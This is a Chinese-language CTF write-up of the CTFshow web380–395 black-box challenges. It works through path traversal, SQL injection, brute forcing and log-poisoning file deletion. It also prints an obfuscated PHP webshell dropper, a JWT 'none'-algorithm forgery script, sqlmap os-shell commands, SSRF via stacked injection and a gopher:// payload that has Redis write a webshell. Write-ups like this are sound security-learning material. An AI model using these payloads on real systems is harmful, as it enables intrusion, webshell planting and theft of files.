前言
从期末周以来好久没刷题了,今天开始刷一下CTFshow的黑盒测试部分,提升下渗透测试水平
web380
首先进入题目环境
用dirsearch扫网站目录发现flag.php和page.php,但是直接访问flag.php是不行的
访问page.php,通过报错判断应该使用的 file_get_contents()函数,来获取文件的内容,结合其他页面的url路径,推断函数参数应该如下
file_get_contents($id.'.php')
于是我们利用该文件来读取 flag.php的内容,传入参数 $id=flag
web381
同样扫描网站目录,发现只有 page.php ,尝试访问
根据报错判断,应该是使用的file_get_contents()函数,并且参数结构为
file_get_contents('page_'.$id.'.php')
也就是说我们并不能通过这个php文件直接查看其他文件了,但是我们可以利用这个特性
hint.php?/../../../flag.php
hint.php?这个目录不存在,但仍能够往上跳转4级目录,去包含flag.php
经测试发现并不存在flag.php,我们需要换种思路,通过查看主页的前端代码,经过对比可得,该页面泄露了web目录的路径为alsckdfy
我们访问该路径直接得到flag
web382
同上,只不过访问后可以得到登陆页面,我们使用sql语句,即可登陆得到flag
1' and 1=1#
web383
首先进入题目环境
用dirsearch扫网站目录
进入 page.php界面,发现和上一题相同,没啥用
然后查看主页的前端代码,经过对比可得,该页面泄露了web目录的路径为 alsckdfy
我们访问该路径得到后台管理页面
但是直接使用 sql注入无法进入,这里尝试使用burpsuite爆破下admin用户
发现密码为 admin888,登陆得到flag
web384
前几步和上面的题一样,根据题目提示
我们编写python脚本如下,来生成相应规则的字典
LENGTH = 5 # 密码最大长度
charLength = 2 # 字母最大长度
char = 'qwertyuiopasdfghjklzxcvbnm' # 字母列表
##补足LENGTH位的数字字符串 eg. 1->001,12->012
def formatNum(n):
global LENGTH
return '0' * (LENGTH - charLength - len(str(abs(n)))) + str(abs(n))[:LENGTH-charLength]
string = ''
for n in char:
for c in char:
for i in range(pow(10, LENGTH - charLength)):
string += n + c + formatNum(i) + '\n'
with open('dict_2L3d.txt','w') as f:
f.write(string)
我们使用burpsuite将脚本生成的字典对登陆页面爆破
爆破得密码为 xy123,我们进行登陆得到flag
web385
按照惯例还是先扫描目录,这里扫描到了 install.php,猜测应该是初始化网站后,初始化页面没有删去或者隐藏
访问得到此界面
我们按照提示重新安装
然后找到登录页面,对其爆破,后台网站仍然是web目录泄露
爆破得到管理员默认密码为 admin888,和上面的题过程一样,爆破过程就省略了
登陆得到flag
web386
首先扫描目录,发现还是初始化界面泄露,于是访问一探究竟
显然这题有一个检测机制,不能重复覆盖安装了,推断 lock.dat 文件应该是判断是否安装的标志,如果 lock.dat 文件不存在的话那么就可以从重复安装了
看了眼wp才知道原来是我的字典不够大,还存在一个 clear.php没有扫描到,更换字典后成功扫到
对 clear.php 进行访问 ,经测试要参数file参数,才能删除指定文件,这里传入 file为 lock.dat
然后访问初始化界面,成功重置
然后和上面的题目一样,同样的登录页面
对其爆破得到密码为 admin888,登陆得到flag
web387
首先扫描后台,发现结果如下
这次 clear.php 无法删除了 lock.dat了
发现比上一题多了一个 debug 目录,进行访问
推断应该传入 file 参数,我们传入 /etc/passwd 试一下,发现存在文件包含,那我们可以通过包含日志进行删除lock.dat文件,linux web服务中 NGINX的日志目录在 /var/log/nginx/access.log
我们通过在 UA头写入删除 lock.dat 的php代码
写入web388中的免杀马也可以,执行后会生成名为 1.php 的木马
通过测试发现直接在日志写马是不行的,会无法传参,所以要借助运行日志生成马,debug/这个文件只能执行任意文件,大概是因为执行完才会回显吧,也就是说我们看到的页面都是“过去时”
<?php unlink('/var/www/html/install/lock.dat')?>
我们通过debug包含并执行刚写入日志的代码,来删除 lock.dat
再次访问 install 界面,发现 lock.dat 删除成功,并且重装成功
剩下的步骤和上一题一模一样,爆破后得到密码为 admin888,登陆得到flag
web388
按照惯例,扫描目录发现了 debug
首先尝试了下web387的操作,发现调试结果被处理,并且debug调试貌似没有删除文件权限,使用删除代码没用,只能通过webshell了
继续扫描/alsckdfy/目录的子目录,发现一个编辑器
访问查看,此编辑器应该可以上传一些木马文件等
经测试,该编辑器对上传文件进行了过滤,并不能直接上传php木马文件
我们写一个免杀马,并该后缀为zip,进行上传,上传后它会给出路径,我们通过debug访问该文件,让文件内容写入日志
# 免杀马,大部分情况适用
<?php
$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>
然后再通过debug访问日志,从而执行生成日志里的免杀马
我们访问生成的木马 1.php,然后post提交命令即可(通过对前面题的总结,flag都在check.php里,f12即可看到)
f12 得到flag
web389
和上一题一样,先进入 debug 界面发现权限不足
查看下Cookie,发现Cookie的值符合jwt加密特征,判断应该是通过Cookie判断权限的,我们将Cookie jwt解密一下(推荐网站jwt.io)
这里简单说下怎么判断是否为jwt加密
该题密文:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4ODk2MTAxMywiZXhwIjoxNjg4OTY4MjEzLCJuYmYiOjE2ODg5NjEwMTMsInN1YiI6InVzZXIiLCJqdGkiOiI2OGJmNDcxNDU2NzU5MzBhZGQ0M2E0OWY1MmUxMzllOSJ9.yCrpG3IsiUJlM913oJkHblFxxj0KRRulTGxnkyTZePM
jwt加密的密文一般都是由两个点号分为三段的(三段分别为Header头部、Payload负载、Signature签名),并且前两段都以字符串"eyJ"开头,
我们需要造 sub 部分为 admin 的密钥,因为采用的是hs256加密算法,所以要猜测下密钥,这里密钥为 123456
也可以设置加密算法为 none 这样就不需要密钥了,这里是无需密钥的加密脚本
import jwt
#payload
token_dict = {
"iss": "admin",
"iat": 1628869261,
"exp": 1628876461,
"nbf": 1628869261,
"sub": "admin",
"jti": "cbcea3355b64ed215da14373ad82e234"
}
#headers
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, # payload, 有效载体
key='',
headers=headers, # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
algorithm="none", # 指明签名算法方式, 默认也是HS256
).decode('ascii') # python3 编码后得到 bytes, 再进行解码(指明解码的格式), 得到一个str
print(jwt_token)
伪造成功后放入Cookie,然后发包,如图伪造成功
剩下的步骤和web388相同,也可在UA头写入生成一句话木马的代码,然后debug访问日志,生成木马,然后访问木马执行命令得到flag
web390
首先进入题目环境,随便进入一个页面,发现获取页面的方式边聊,不再是传入页面文件名,而是通过sql的方式进行页面获取
我们利用 sqlmap 进行getshell 此题为联合注入
sqlmap -u url --os-shell
这里补充下sqlmap getshell的要求:
- 网站必须是root权限
- 知道网站的绝对路径
- PHP关闭魔术引号,php主动转义功能关闭
- secure_file_priv=值为空
成功getshell,并得到flag
也可使用sqlmap直接下载含有flag的文件
sqlmap -u url --file-read /var/www/html/alsckdfy/check.php --batch
web391
观察url,同样为sql注入,不过此题为延时注入,并且注入点不在 page.php 而在 search.php
老规矩,直接上sqlmap
sqlmap -u url --os-shell
成功getshell并得到flag
也可使用sqlmap直接下载含有flag的文件
sqlmap -u url --file-read /var/www/html/alsckdfy/check.php --batch
web392
和上一题相同,注入点同样在 search.php
我们继续用sqlmap来getshell
sqlmap -u url --os-shell
与上一题不同的是,flag出现在了根目录,而不是 check.php文件里
web393
前半部分和上一题相同,但是getshell以后发现无法读取文件,应该做了某些限制
接着在页面发现,可以通过ssrf读取文件,根据之前爆出的link表,推测这里搜索引擎的链接应该来自数据库的link表
我们将link表内插入 file:// 协议即可
url/search.php?title=1';insert into link values(10,'a','file:///flag');
#这里使用堆叠注入
然后访问 file://协议对应的id 10即可得到flag
web394
该题做了一些过滤,但可以使用16进制绕过(MYSQL可以识别十六进制并对其进行自动转换),并且flag在 check.php
payload:
url/search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
#对应的字符串为 file:///var/www/html/alsckdfy/check.php
然后通过ssrf访问我们插入的 file:// 协议即可
这里通过查看大佬的wp,推测黑名单应该是:
if(preg_match('/file|check|php/i', $id)){
die('error');
}
web395
解法和web394相同
web394~395 非预期
还可以攻击redis服务
这里借用下羽师傅的payload:
payload1:
题目中的url字段默认长度最长为255所以我们需要修改下
search.php?title=1';alter table link modify column url text;
payload2:
然后就可以打相应的服务了
search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
然后访问link.php?id=11就会生成abc.php 密码是1
web383~386通解
我们可以利用 file_get_contents() 函数的这个特性
hint.php?/../../../flag.php
hint.php?这个目录不存在,但仍能够往上跳转4级目录,去包含flag.php
file_get_contents()函数的参数格式为:
file_get_contents('page_'.$id.'.php')
payload:
url/page.php?id=1/../../../../var/www/html/alsckdfy/check
#flag在check.php里
总结
通过这几天学习黑盒测试部分,感觉在CTF与实战中的思路又扩宽了不少